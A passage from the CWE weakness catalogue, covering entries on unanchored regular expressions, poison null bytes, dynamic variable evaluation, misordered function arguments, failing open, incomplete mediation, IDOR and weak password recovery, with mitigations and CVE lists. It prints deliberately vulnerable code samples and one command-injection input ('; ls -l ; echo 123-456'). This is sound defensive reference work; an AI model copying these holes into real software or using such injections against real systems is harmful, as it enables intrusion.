similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	185	Incorrect Regular Expression	429
ParentOf	V	777	Regular Expression without Anchors	1443
PeerOf	B	183	Permissive List of Allowed Inputs	424
PeerOf	B	184	Incomplete List of Disallowed Inputs	425
PeerOf	V	187	Partial String Comparison	432

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Perl *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

When applicable, ensure that the regular expression marks beginning and ending string patterns, such as "/^string$/" for Perl.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Perl *(bad)*

```
$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
    # looks like it only has hyphens and digits
    system("lookup-phone $phone");
}
else {
    error("malformed number!");
}
```

An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

Observed Examples

Reference	Description
CVE-2006-1895	".*" regexp leads to static code injection *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1895*
CVE-2002-2175	insertion of username into regexp results in partial comparison, causing wrong database entry to be updated when one username is a substring of another. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2175*

Reference	Description
CVE-2006-4527	regexp intended to verify that all characters are legal, only checks that at least one is legal, enabling file inclusion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4527*
CVE-2005-1949	Regexp for IP address isn't anchored at the end, allowing appending of shell metacharacters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1949*
CVE-2002-2109	Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2109*
CVE-2006-6511	regexp in .htaccess file allows access of files whose names contain certain substrings *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6511*
CVE-2006-6629	allow load of macro files whose names contain certain substrings. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6629*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	1902
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	IDS08-J		Sanitize untrusted data passed to a regex

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-626: Null Byte Interaction Error (Poison Null Byte)

Weakness ID : 626 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product does not properly handle null bytes or NUL characters when passing data between different representations or components.

Extended Description

A null byte (NUL character) can have different meanings across representations or languages. For example, it is a string terminator in standard C libraries, but Perl and PHP strings do not treat it as a terminator. When two representations are crossed - such as when Perl or PHP invokes underlying C functionality - this can produce an interaction error with unexpected results. Similar issues have been reported for ASP. Other interpreters written in C might also be affected.

The poison null byte is frequently useful in path traversal attacks by terminating hard-coded extensions that are added to a filename. It can play a role in regular expression processing in PHP.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	436	Interpretation Conflict	944
ChildOf	V	147	Improper Neutralization of Input Terminators	357

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Language : ASP.NET *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Implementation

Remove null bytes from all incoming strings.

Observed Examples

Reference	Description
CVE-2005-4155	NUL byte bypasses PHP regular expression check *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4155*
CVE-2005-3153	inserting SQL after a NUL byte bypasses allowlist regexp, enabling SQL injection *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3153*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Terminology

Current usage of "poison null byte" is typically related to this C/Perl/PHP interaction error, but the original term in 1998 was applied to an off-by-one buffer overflow involving a null byte.

Research Gap

There are not many CVE examples, because the poison NULL byte is a design limitation, which typically is not included in CVE by itself. It is typically used as a facilitator manipulation to widen the scope of potential attacks against other vulnerabilities.

References

[REF-514]Rain Forest Puppy. "Poison NULL byte". Phrack 55. < http://insecure.org/news/P55-07.txt >.

[REF-515]Brett Moore. "0x00 vs ASP file upload scripts". < http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf >.

[REF-516]ShAnKaR. "ShAnKaR: multiple PHP application poison NULL byte vulnerability". < http://seclists.org/fulldisclosure/2006/Sep/0185.html >.

CWE-627: Dynamic Variable Evaluation

Weakness ID : 627 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.

Extended Description

The resultant vulnerabilities depend on the behavior of the application, both at the crossover point and in any control/data flow that is reachable by the related variables or functions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	914	Improper Control of Dynamically-Identified Variables	1589
PeerOf	B	183	Permissive List of Allowed Inputs	424

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Background Details

Many interpreted languages support the use of a "$$varname" construct to set a variable whose name is specified by the $varname variable. In PHP, these are referred to as "variable variables." Functions might also be invoked using similar syntax, such as $$funcname(arg1, arg2).

Alternate Terms

Dynamic evaluation :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Modify Application Data Execute Unauthorized Code or Commands *An attacker could gain unauthorized access to internal program variables and execute arbitrary code.*	

Potential Mitigations

Phase: Implementation

Strategy = Refactoring

Refactor the code to avoid dynamic variable evaluation whenever possible.

Phase: Implementation

Strategy = Input Validation

Use only allowlists of acceptable variable or function names.

Phase: Implementation

For function names, ensure that you are only calling functions that accept the proper number of arguments, to avoid unexpected null arguments.

Observed Examples

Reference	Description
CVE-2009-0422	Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0422*
CVE-2007-2431	Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected $_SERVER variable for resultant XSS. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2431*
CVE-2006-4904	Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4904*
CVE-2006-4019	Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4019*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Research Gap

Under-studied, probably under-reported. Few researchers look for this issue; most public reports are for PHP, although other languages are affected. This issue is likely to grow in PHP as developers begin to implement functionality in place of register_globals.

References

[REF-517]Steve Christey. "Dynamic Evaluation Vulnerabilities in PHP applications". Full-Disclosure. 2006 May 3. < http://seclists.org/fulldisclosure/2006/May/0035.html >.

[REF-518]Shaun Clowes. "A Study In Scarlet: Exploiting Common Vulnerabilities in PHP Applications". < http://www.secureality.com.au/studyinscarlet.txt >.

CWE-628: Function Call with Incorrectly Specified Arguments

Weakness ID : 628 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product calls a function, procedure, or routine with arguments that are not correctly specified, leading to always-incorrect behavior and resultant weaknesses.

Extended Description

There are multiple ways in which this weakness can be introduced, including:

- the wrong variable or reference;
- an incorrect number of arguments;
- incorrect order of arguments;
- wrong type of arguments; or
- wrong value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1153
ParentOf	V	683	Function Call With Incorrect Order of Arguments	1330
ParentOf	V	685	Function Call With Incorrect Number of Arguments	1333
ParentOf	V	686	Function Call With Incorrect Argument Type	1334
ParentOf	V	687	Function Call With Incorrectly Specified Argument Value	1335
ParentOf	V	688	Function Call With Incorrect Variable or Reference as Argument	1337

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Primary : This is usually primary to other weaknesses, but it can be resultant if the function's API or function prototype changes.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *This weakness can cause unintended behavior and can lead to additional weaknesses such as allowing an attacker to gain unintended access to system resources.*	

Detection Methods

Other

Since these bugs typically introduce obviously incorrect behavior, they are found quickly, unless they occur in rarely-tested code paths. Managing the correct number of arguments can be made more difficult in cases where format strings are used, or when variable numbers of arguments are supported.

Potential Mitigations

Phase: Build and Compilation

Once found, these issues are easy to fix. Use code inspection tools and relevant compiler features to identify potential violations. Pay special attention to code that is not likely to be exercised heavily during QA.

Phase: Architecture and Design

Make sure your API's are stable before you use them in production code.

Demonstrative Examples

Example 1:

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

Example Language: PHP *(bad)*

```
function authenticate($username, $password) {
    // authenticate user
    ...
}
authenticate($_POST['password'], $_POST['username']);
```

Example 2:

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

Example Language: Perl *(bad)*

```
sub ReportAuth {
    my ($username, $result, $fatal) = @_;
    PrintLog("auth: username=%s, result=%d", $username, $result);
    if (($result ne "success") && $fatal) {
        die "Failed!\n";
    }
}
sub PrivilegedFunc
{
    my $result = CheckAuth($username);
    ReportAuth($username, $result, 0);
    DoReallyImportantStuff();
}
```

Example 3:

In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN_ROLES array rather than the user roles.

Example Language: Java *(bad)*

```
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
    String[] userRoles = getUserRoles(user);
    return accessGranted(resource, ADMIN_ROLES);
}
private boolean void accessGranted(String resource, String[] userRoles) {
    // grant or deny access based on user roles
    ...
}
```

Observed Examples

Reference	Description
CVE-2006-7049	The method calls the functions with the wrong argument order, which allows remote attackers to bypass intended access restrictions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7049*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	736	CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)	734	1881
MemberOf	C	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	1882
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	1995

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	DCL10-C		Maintain the contract between the writer and caller of variadic functions
CERT C Secure Coding	EXP37-C	CWE More Abstract	Call functions with the correct number and type of arguments
SEI CERT Perl Coding Standard	DCL00-PL	CWE More Abstract	Do not use subroutine prototypes
SEI CERT Perl Coding Standard	EXP33-PL	Imprecise	Do not invoke a function in a context for which it is not defined

CWE-636: Not Failing Securely ('Failing Open')

Weakness ID : 636 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.

Extended Description

By entering a less secure state, the product inherits the weaknesses associated with that state, making it easier to compromise. At the least, it causes administrators to have a false sense of security. This weakness typically occurs as a result of wanting to "fail functional" to minimize administration and support costs, instead of "failing safe."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	755	Improper Handling of Exceptional Conditions	1389
ChildOf	C	657	Violation of Secure Design Principles	1287
ParentOf	B	455	Non-exit on Failed Initialization	969
PeerOf	B	280	Improper Handling of Insufficient Permissions or Privileges	613

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Failing Open :

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *Intended access restrictions can be bypassed, which is often contradictory to what the product's administrator expects.*	

Potential Mitigations

Phase: Architecture and Design

Subdivide and allocate resources and components so that a failure in one part does not affect the entire product.

Demonstrative Examples

Example 1:

Switches may revert their functionality to that of hubs when the table used to map ARP information to the switch interface overflows, such as when under a spoofing attack. This results in traffic being broadcast to an eavesdropper, instead of being sent only on the relevant switch interface. To mitigate this type of problem, the developer could limit the number of ARP entries that can be recorded for a given switch interface, while other interfaces may keep functioning normally. Configuration options can be provided on the appropriate actions to be taken in case of a detected failure, but safe defaults should be used.

Observed Examples

Reference	Description
CVE-2007-5277	The failure of connection attempts in a web browser resets DNS pin restrictions. An attacker can then bypass the same origin policy by rebinding a domain name to a different IP address. This was an attempt to "fail functional." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5277*
CVE-2006-4407	Incorrect prioritization leads to the selection of a weaker cipher. Although it is not known whether this issue occurred in implementation or design, it is feasible that a poorly designed algorithm could be a factor. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4407*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	1878
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1939

Notes

Research Gap

Since design issues are hard to fix, they are rarely publicly reported, so there are few CVE examples of this problem as of January 2008. Most publicly reported issues occur as the result of an implementation error instead of design, such as CVE-2005-3177 (Improper handling of large numbers of resources) or CVE-2005-2969 (inadvertently disabling a verification step, leading to selection of a weaker protocol).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

[REF-522]Sean Barnum and Michael Gegick. "Failing Securely". 2005 December 5. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/349.html >.

CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')

Weakness ID : 637 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software uses a more complex mechanism than necessary, which could lead to resultant weaknesses when the mechanism is not correctly understood, modeled, configured, implemented, or used.

Extended Description

Security mechanisms should be as simple as possible. Complex security mechanisms may engender partial implementations and compatibility problems, with resulting mismatches in

assumptions and implemented security. A corollary of this principle is that data specifications should be as simple as possible, because complex data specifications result in complex validation code. Complex tasks and systems may also need to be guarded by complex security checks, so simple systems should be preferred.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	657	Violation of Secure Design Principles	1287

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Unnecessary Complexity :

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Architecture and Design

Avoid complex security mechanisms when simpler ones would meet requirements. Avoid complex data models, and unnecessarily complex operations. Adopt architectures that provide guarantees, simplify understanding through elegance and abstraction, and that can be implemented similarly. Modularize, isolate and do not trust complex code, and apply other secure programming principles on these modules (e.g., least privilege) to mitigate vulnerabilities.

Demonstrative Examples

Example 1:

The IPSEC specification is complex, which resulted in bugs, partial implementations, and incompatibilities between vendors.

Example 2:

HTTP Request Smuggling (CWE-444) attacks are feasible because there are not stringent requirements for how illegal or inconsistent HTTP headers should be handled. This can lead to inconsistent implementations in which a proxy or firewall interprets the same data stream as a different set of requests than the end points in that stream.

Observed Examples

Reference	Description
CVE-2007-6067	Support for complex regular expressions leads to a resultant algorithmic complexity weakness (CWE-407). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6067*
CVE-2007-1552	Either a filename extension and a Content-Type header could be used to infer the file type, but the developer only checks the Content-Type, enabling unrestricted file upload (CWE-434).

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1552
CVE-2007-6479	In Apache environments, a "filename.php.gif" can be redirected to the PHP interpreter instead of being sent as an image/gif directly to the user. Not knowing this, the developer only checks the last extension of a submitted filename, enabling arbitrary code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6479*
CVE-2005-2148	The developer cleanses the $_REQUEST superglobal array, but PHP also populates $_GET, allowing attackers to bypass the protection mechanism and conduct SQL injection attacks against code that uses $_GET. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2148*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	1946

References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

[REF-524]Sean Barnum and Michael Gegick. "Economy of Mechanism". 2005 September 3. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/348.html >.

CWE-638: Not Using Complete Mediation

Weakness ID : 638 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	862	Missing Authorization	1567
ChildOf	B	657	Violation of Secure Design Principles	1287
ParentOf	B	424	Improper Protection of Alternate Path	914

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control Other	Gain Privileges or Assume Identity Execute Unauthorized Code or Commands Bypass Protection Mechanism Read Application Data Other *A user might retain access to a critical resource even after privileges have been revoked, possibly allowing access to privileged functionality or sensitive information, depending on the role of the resource.*	

Potential Mitigations

Phase: Architecture and Design

Invalidate cached privileges, file handles or descriptors, or other access credentials whenever identities, processes, policies, roles, capabilities or permissions change. Perform complete authentication checks before accepting, caching and reusing data, dynamic content and code (scripts). Avoid caching access control decisions as much as possible.

Phase: Architecture and Design

Identify all possible code paths that might access sensitive resources. If possible, create and use a single interface that performs the access checks, and develop code standards that require use of this interface.

Demonstrative Examples

Example 1:

When executable library files are used on web servers, which is common in PHP applications, the developer might perform an access check in any user-facing executable, and omit the access check from the library file itself. By directly requesting the library file (CWE-425), an attacker can bypass this access check.

Example 2:

When a developer begins to implement input validation for a web application, often the validation is performed in each area of the code that uses externally-controlled input. In complex applications with many inputs, the developer often misses a parameter here or a cookie there. One frequently-applied solution is to centralize all input validation, store these validated inputs in a separate data structure, and require that all access of those inputs must be through that data structure. An alternate approach would be to use an external input validation framework such as Struts, which performs the validation before the inputs are ever processed by the code.

Observed Examples

Reference	Description
CVE-2007-0408	Server does not properly validate client certificates when reusing cached connections. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0408*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	988	SFP Secondary Cluster: Race Condition Window	888	1952

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP20		Race Condition Window

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
104	Cross Zone Scripting

References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

[REF-526]Sean Barnum and Michael Gegick. "Complete Mediation". 2005 September 2. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/346.html >.

CWE-639: Authorization Bypass Through User-Controlled Key

Weakness ID : 639 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

Extended Description

Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user-related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system.

For example, attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.

One manifestation of this weakness is when a system uses sequential or otherwise easily-guessable session IDs that would allow one user to easily switch to another user's session and read/modify their data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	863	Incorrect Authorization	1573
ParentOf	V	566	Authorization Bypass Through User-Controlled SQL Primary Key	1142

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		863	Incorrect Authorization	1573

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2013
MemberOf	C	840	Business Logic Errors	1900

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Insecure Direct Object Reference / IDOR : The "Insecure Direct Object Reference" term, as described in the OWASP Top Ten, is broader than this CWE because it also covers path traversal (CWE-22). Within the context of vulnerability theory, there is a similarity between the OWASP concept and CWE-706: Use of Incorrectly-Resolved Name or Reference.

Horizontal Authorization : "Horizontal Authorization" is used to describe situations in which two users have the same privilege level, but must be prevented from accessing each other's resources. This is fairly common when using key-based access to resources in a multi-user context.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *Access control checks for specific user data or functionality can be bypassed.*	
Access Control	Gain Privileges or Assume Identity *Horizontal escalation of privilege is possible (one user can view/modify information of another user).*	
Access Control	Gain Privileges or Assume Identity *Vertical escalation of privilege is possible if the user-controlled key is actually a flag that indicates administrator status, allowing the attacker to gain administrative access.*	

Potential Mitigations

Phase: Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Phase: Architecture and Design

Phase: Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Phase: Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	629	1871
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	1898
MemberOf	C	932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	928	1930
MemberOf	C	945	SFP Secondary Cluster: Insecure Resource Access	888	1933
MemberOf	C	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control	1026	1977

CWE-640: Weak Password Recovery Mechanism for Forgotten Password

Weakness ID : 640 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.

Extended Description

It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Very often the password recovery mechanism is weak, which has the effect of making it more likely that it would be possible for a person other than the legitimate system user to gain access to that user's account. Weak password recovery schemes completely undermine a strong password authentication scheme.

This weakness may be that the security question is too easy to guess or find an answer to (e.g. because the question is too common, or the answers can be found using social media). Or there might be an implementation weakness in the password recovery mechanism code that may for instance trick the system into e-mailing the new password to an e-mail account other than that of the user. There might be no throttling done on the rate of password resets so that a legitimate user can be denied service by an attacker if an attacker tries to recover their password in a rapid succession. The system may send the original password to the user rather than generating a new temporary password. In summary, password recovery functionality, if not carefully designed and implemented can often become the system's weakest link that can be misused in a way that would allow an attacker to gain unauthorized access to the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	1855
MemberOf	C	840	Business Logic Errors	1900

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker could gain unauthorized access to the system by retrieving legitimate user's authentication credentials.*	
Availability	DoS: Resource Consumption (Other) *An attacker could deny service to legitimate system users by launching a brute force attack on the password recovery mechanism using user ids of legitimate users.*	
Integrity Other	Other *The system's security functionality is turned against the system by the attacker.*	

Potential Mitigations

Phase: Architecture and Design

Make sure that all input supplied by the user to the password recovery mechanism is thoroughly filtered and validated.

Phase: Architecture and Design

Do not use standard weak security questions and use several security questions.

Phase: Architecture and Design

Make sure that there is throttling on the number of incorrect answers to a security question. Disable the password recovery functionality after a certain (small) number of incorrect guesses.

Phase: Architecture and Design

Require that the user properly answers the security question prior to resetting their password and sending the new password to the e-mail address of record.

Phase: Architecture and Design

Never allow the user to control what e-mail address the new password will be sent to in the password recovery mechanism.

